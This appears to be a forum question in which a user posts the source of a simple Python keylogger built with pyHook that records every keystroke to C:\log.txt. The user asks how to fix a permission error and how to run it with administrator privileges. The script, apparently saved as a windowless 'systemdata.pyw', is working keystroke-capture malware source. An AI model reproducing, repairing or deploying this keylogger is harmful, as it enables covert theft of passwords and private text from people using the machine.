I've created a simple python keylogger by following this tutorial: https://www.youtube.com/watch?v=8BiOPBsXh0g
import pyHook, pythoncom, sys, logging
file_log = 'C:\\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
When I run the program, and type something, i get this error in the console:
Traceback (most recent call last):
File "C:\Users\Adithya1\Documents\pywin and pyhook\Newfolder\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Adithya1\Documents\pywin and pyhook\New folder\systemdata.pyw", line 6, in OnKeyboardEvent
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
File "C:\Python27\lib\logging\__init__.py", line 1540, in basicConfig
hdlr = FileHandler(filename, mode)
File "C:\Python27\lib\logging\__init__.py", line 911, in __init__
StreamHandler.__init__(self, self._open())
File "C:\Python27\lib\logging\__init__.py", line 936, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\log.txt'
It must be to do with the last line, Permission Denied. Any idea what i need to do to fix this? Any way to run it with administrator privilages?
Thanks in advance